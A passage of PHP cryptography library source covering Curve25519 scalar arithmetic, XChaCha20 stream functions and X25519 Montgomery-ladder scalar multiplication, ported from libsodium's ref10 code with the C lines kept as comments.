        //    s7 += s17 * 654183;
        //    s8 -= s17 * 997805;
        //    s9 += s17 * 136657;
        //    s10 -= s17 * 683901;
        $s5 += self::mul($s17, 666643, 20);
        $s6 += self::mul($s17, 470296, 19);
        $s7 += self::mul($s17, 654183, 20);
        $s8 -= self::mul($s17, 997805, 20);
        $s9 += self::mul($s17, 136657, 18);
        $s10 -= self::mul($s17, 683901, 20);

        //    s4 += s16 * 666643;
        //    s5 += s16 * 470296;
        //    s6 += s16 * 654183;
        //    s7 -= s16 * 997805;
        //    s8 += s16 * 136657;
        //    s9 -= s16 * 683901;
        $s4 += self::mul($s16, 666643, 20);
        $s5 += self::mul($s16, 470296, 19);
        $s6 += self::mul($s16, 654183, 20);
        $s7 -= self::mul($s16, 997805, 20);
        $s8 += self::mul($s16, 136657, 18);
        $s9 -= self::mul($s16, 683901, 20);

        //    s3 += s15 * 666643;
        //    s4 += s15 * 470296;
        //    s5 += s15 * 654183;
        //    s6 -= s15 * 997805;
        //    s7 += s15 * 136657;
        //    s8 -= s15 * 683901;
        $s3 += self::mul($s15, 666643, 20);
        $s4 += self::mul($s15, 470296, 19);
        $s5 += self::mul($s15, 654183, 20);
        $s6 -= self::mul($s15, 997805, 20);
        $s7 += self::mul($s15, 136657, 18);
        $s8 -= self::mul($s15, 683901, 20);

        //    s2 += s14 * 666643;
        //    s3 += s14 * 470296;
        //    s4 += s14 * 654183;
        //    s5 -= s14 * 997805;
        //    s6 += s14 * 136657;
        //    s7 -= s14 * 683901;
        $s2 += self::mul($s14, 666643, 20);
        $s3 += self::mul($s14, 470296, 19);
        $s4 += self::mul($s14, 654183, 20);
        $s5 -= self::mul($s14, 997805, 20);
        $s6 += self::mul($s14, 136657, 18);
        $s7 -= self::mul($s14, 683901, 20);

        //    s1 += s13 * 666643;
        //    s2 += s13 * 470296;
        //    s3 += s13 * 654183;
        //    s4 -= s13 * 997805;
        //    s5 += s13 * 136657;
        //    s6 -= s13 * 683901;
        $s1 += self::mul($s13, 666643, 20);
        $s2 += self::mul($s13, 470296, 19);
        $s3 += self::mul($s13, 654183, 20);
        $s4 -= self::mul($s13, 997805, 20);
        $s5 += self::mul($s13, 136657, 18);
        $s6 -= self::mul($s13, 683901, 20);

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        //    s12 = 0;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);
        $s12 = 0;

        //    carry0 = (s0 + (int64_t) (1L << 20)) >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry2 = (s2 + (int64_t) (1L << 20)) >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry4 = (s4 + (int64_t) (1L << 20)) >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        //    carry1 = (s1 + (int64_t) (1L << 20)) >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry3 = (s3 + (int64_t) (1L << 20)) >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry5 = (s5 + (int64_t) (1L << 20)) >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        //    s12 = 0;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);
        $s12 = 0;

        //    carry0 = s0 >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry1 = s1 >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry2 = s2 >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry3 = s3 >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry4 = s4 >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry5 = s5 >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry6 = s6 >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry7 = s7 >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry8 = s8 >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry9 = s9 >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry10 = s10 >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry11 = s11 >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);

        //    carry0 = s0 >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry1 = s1 >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry2 = s2 >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry3 = s3 >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry4 = s4 >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry5 = s5 >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry6 = s6 >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry7 = s7 >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry8 = s8 >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry9 = s9 >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry10 = s10 >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $s = array_fill(0, 32, 0);
        // s[0]  = s0 >> 0;
        $s[0]  = $s0 >> 0;
        // s[1]  = s0 >> 8;
        $s[1]  = $s0 >> 8;
        // s[2]  = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5));
        $s[2]  = ($s0 >> 16) | ($s1 << 5);
        // s[3]  = s1 >> 3;
        $s[3]  = $s1 >> 3;
        // s[4]  = s1 >> 11;
        $s[4]  = $s1 >> 11;
        // s[5]  = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2));
        $s[5]  = ($s1 >> 19) | ($s2 << 2);
        // s[6]  = s2 >> 6;
        $s[6]  = $s2 >> 6;
        // s[7]  = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7));
        $s[7]  = ($s2 >> 14) | ($s3 << 7);
        // s[8]  = s3 >> 1;
        $s[8]  = $s3 >> 1;
        // s[9]  = s3 >> 9;
        $s[9]  = $s3 >> 9;
        // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4));
        $s[10] = ($s3 >> 17) | ($s4 << 4);
        // s[11] = s4 >> 4;
        $s[11] = $s4 >> 4;
        // s[12] = s4 >> 12;
        $s[12] = $s4 >> 12;
        // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1));
        $s[13] = ($s4 >> 20) | ($s5 << 1);
        // s[14] = s5 >> 7;
        $s[14] = $s5 >> 7;
        // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6));
        $s[15] = ($s5 >> 15) | ($s6 << 6);
        // s[16] = s6 >> 2;
        $s[16] = $s6 >> 2;
        // s[17] = s6 >> 10;
        $s[17] = $s6 >> 10;
        // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3));
        $s[18] = ($s6 >> 18) | ($s7 << 3);
        // s[19] = s7 >> 5;
        $s[19] = $s7 >> 5;
        // s[20] = s7 >> 13;
        $s[20] = $s7 >> 13;
        // s[21] = s8 >> 0;
        $s[21] = $s8 >> 0;
        // s[22] = s8 >> 8;
        $s[22] = $s8 >> 8;
        // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5));
        $s[23] = ($s8 >> 16) | ($s9 << 5);
        // s[24] = s9 >> 3;
        $s[24] = $s9 >> 3;
        // s[25] = s9 >> 11;
        $s[25] = $s9 >> 11;
        // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2));
        $s[26] = ($s9 >> 19) | ($s10 << 2);
        // s[27] = s10 >> 6;
        $s[27] = $s10 >> 6;
        // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7));
        $s[28] = ($s10 >> 14) | ($s11 << 7);
        // s[29] = s11 >> 1;
        $s[29] = $s11 >> 1;
        // s[30] = s11 >> 9;
        $s[30] = $s11 >> 9;
        // s[31] = s11 >> 17;
        $s[31] = $s11 >> 17;
        return self::intArrayToString($s);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function sc25519_sq($s)
    {
        return self::sc25519_mul($s, $s);
    }

    /**
     * @param string $s
     * @param int $n
     * @param string $a
     * @return string
     */
    public static function sc25519_sqmul($s, $n, $a)
    {
        for ($i = 0; $i < $n; ++$i) {
            $s = self::sc25519_sq($s);
        }
        return self::sc25519_mul($s, $a);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function sc25519_invert($s)
    {
        $_10 = self::sc25519_sq($s);
        $_11 = self::sc25519_mul($s, $_10);
        $_100 = self::sc25519_mul($s, $_11);
        $_1000 = self::sc25519_sq($_100);
        $_1010 = self::sc25519_mul($_10, $_1000);
        $_1011 = self::sc25519_mul($s, $_1010);
        $_10000 = self::sc25519_sq($_1000);
        $_10110 = self::sc25519_sq($_1011);
        $_100000 = self::sc25519_mul($_1010, $_10110);
        $_100110 = self::sc25519_mul($_10000, $_10110);
        $_1000000 = self::sc25519_sq($_100000);
        $_1010000 = self::sc25519_mul($_10000, $_1000000);
        $_1010011 = self::sc25519_mul($_11, $_1010000);
        $_1100011 = self::sc25519_mul($_10000, $_1010011);
        $_1100111 = self::sc25519_mul($_100, $_1100011);
        $_1101011 = self::sc25519_mul($_100, $_1100111);
        $_10010011 = self::sc25519_mul($_1000000, $_1010011);
        $_10010111 = self::sc25519_mul($_100, $_10010011);
        $_10111101 = self::sc25519_mul($_100110, $_10010111);
        $_11010011 = self::sc25519_mul($_10110, $_10111101);
        $_11100111 = self::sc25519_mul($_1010000, $_10010111);
        $_11101011 = self::sc25519_mul($_100, $_11100111);
        $_11110101 = self::sc25519_mul($_1010, $_11101011);

        $recip = self::sc25519_mul($_1011, $_11110101);
        $recip = self::sc25519_sqmul($recip, 126, $_1010011);
        $recip = self::sc25519_sqmul($recip, 9, $_10);
        $recip = self::sc25519_mul($recip, $_11110101);
        $recip = self::sc25519_sqmul($recip, 7, $_1100111);
        $recip = self::sc25519_sqmul($recip, 9, $_11110101);
        $recip = self::sc25519_sqmul($recip, 11, $_10111101);
        $recip = self::sc25519_sqmul($recip, 8, $_11100111);
        $recip = self::sc25519_sqmul($recip, 9, $_1101011);
        $recip = self::sc25519_sqmul($recip, 6, $_1011);
        $recip = self::sc25519_sqmul($recip, 14, $_10010011);
        $recip = self::sc25519_sqmul($recip, 10, $_1100011);
        $recip = self::sc25519_sqmul($recip, 9, $_10010111);
        $recip = self::sc25519_sqmul($recip, 10, $_11110101);
        $recip = self::sc25519_sqmul($recip, 8, $_11010011);
        return self::sc25519_sqmul($recip, 8, $_11101011);
    }

    /**
     * @param string $s
     * @return string
     */
    public static function clamp($s)
    {
        $s_ = self::stringToIntArray($s);
        $s_[0] &= 248;
        $s_[31] |= 64;
        $s_[31] &= 128;
        return self::intArrayToString($s_);
    }

    /**
     * Ensure limbs are less than 28 bits long to prevent float promotion.
     *
     * This uses a constant-time conditional swap under the hood.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63

        $g = self::fe_copy($f);
        for ($i = 0; $i < 10; ++$i) {
            $mask = -(($g[$i] >> $x) & 1);

            /*
             * Get two candidate normalized values for $g[$i], depending on the sign of $g[$i]:
             */
            $a = $g[$i] & 0x7ffffff;
            $b = -((-$g[$i]) & 0x7ffffff);

            /*
             * Return the appropriate candidate value, based on the sign of the original input:
             *
             * The following is equivalent to this ternary:
             *
             * $g[$i] = (($g[$i] >> $x) & 1) ? $a : $b;
             *
             * Except what's written doesn't contain timing leaks.
             */
            $g[$i] = ($a ^ (($a ^ $b) & $mask));
        }
        return $g;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XChaCha20
 */
class ParagonIE_Sodium_Core_XChaCha20 extends ParagonIE_Sodium_Core_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_X25519
 */
abstract class ParagonIE_Sodium_Core_X25519 extends ParagonIE_Sodium_Core_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];
        $g0 = (int) $g[0];
        $g1 = (int) $g[1];
        $g2 = (int) $g[2];
        $g3 = (int) $g[3];
        $g4 = (int) $g[4];
        $g5 = (int) $g[5];
        $g6 = (int) $g[6];
        $g7 = (int) $g[7];
        $g8 = (int) $g[8];
        $g9 = (int) $g[9];
        $b = -$b;
        $x0 = ($f0 ^ $g0) & $b;
        $x1 = ($f1 ^ $g1) & $b;
        $x2 = ($f2 ^ $g2) & $b;
        $x3 = ($f3 ^ $g3) & $b;
        $x4 = ($f4 ^ $g4) & $b;
        $x5 = ($f5 ^ $g5) & $b;
        $x6 = ($f6 ^ $g6) & $b;
        $x7 = ($f7 ^ $g7) & $b;
        $x8 = ($f8 ^ $g8) & $b;
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = $f0 ^ $x0;
        $f[1] = $f1 ^ $x1;
        $f[2] = $f2 ^ $x2;
        $f[3] = $f3 ^ $x3;
        $f[4] = $f4 ^ $x4;
        $f[5] = $f5 ^ $x5;
        $f[6] = $f6 ^ $x6;
        $f[7] = $f7 ^ $x7;
        $f[8] = $f8 ^ $x8;
        $f[9] = $f9 ^ $x9;
        $g[0] = $g0 ^ $x0;
        $g[1] = $g1 ^ $x1;
        $g[2] = $g2 ^ $x2;
        $g[3] = $g3 ^ $x3;
        $g[4] = $g4 ^ $x4;
        $g[5] = $g5 ^ $x5;
        $g[6] = $g6 ^ $x6;
        $g[7] = $g7 ^ $x7;
        $g[8] = $g8 ^ $x8;
        $g[9] = $g9 ^ $x9;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = array(
            self::mul((int) $f[0], 121666, 17),
            self::mul((int) $f[1], 121666, 17),
            self::mul((int) $f[2], 121666, 17),
            self::mul((int) $f[3], 121666, 17),
            self::mul((int) $f[4], 121666, 17),
            self::mul((int) $f[5], 121666, 17),
            self::mul((int) $f[6], 121666, 17),
            self::mul((int) $f[7], 121666, 17),
            self::mul((int) $f[8], 121666, 17),
            self::mul((int) $f[9], 121666, 17)
        );

        /** @var int $carry9 */
        $carry9 = ($h[9] + (1 << 24)) >> 25;
        $h[0] += self::mul($carry9, 19, 5);
        $h[9] -= $carry9 << 25;
        /** @var int $carry1 */
        $carry1 = ($h[1] + (1 << 24)) >> 25;
        $h[2] += $carry1;
        $h[1] -= $carry1 << 25;
        /** @var int $carry3 */
        $carry3 = ($h[3] + (1 << 24)) >> 25;
        $h[4] += $carry3;
        $h[3] -= $carry3 << 25;
        /** @var int $carry5 */
        $carry5 = ($h[5] + (1 << 24)) >> 25;
        $h[6] += $carry5;
        $h[5] -= $carry5 << 25;
        /** @var int $carry7 */
        $carry7 = ($h[7] + (1 << 24)) >> 25;
        $h[8] += $carry7;
        $h[7] -= $carry7 << 25;

        /** @var int $carry0 */
        $carry0 = ($h[0] + (1 << 25)) >> 26;
        $h[1] += $carry0;
        $h[0] -= $carry0 << 26;
        /** @var int $carry2 */
        $carry2 = ($h[2] + (1 << 25)) >> 26;
        $h[3] += $carry2;
        $h[2] -= $carry2 << 26;
        /** @var int $carry4 */
        $carry4 = ($h[4] + (1 << 25)) >> 26;
        $h[5] += $carry4;
        $h[4] -= $carry4 << 26;
        /** @var int $carry6 */
        $carry6 = ($h[6] + (1 << 25)) >> 26;
        $h[7] += $carry6;
        $h[6] -= $carry6 << 26;
        /** @var int $carry8 */
        $carry8 = ($h[8] + (1 << 25)) >> 26;
        $h[9] += $carry8;
        $h[8] -= $carry8 << 26;

        foreach ($h as $i => $value) {
            $h[$i] = (int) $value;
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;
            # swap ^= b;
            $swap ^= $b;
            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);
            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);
            # swap = b;
            $swap = $b;
            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);
            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
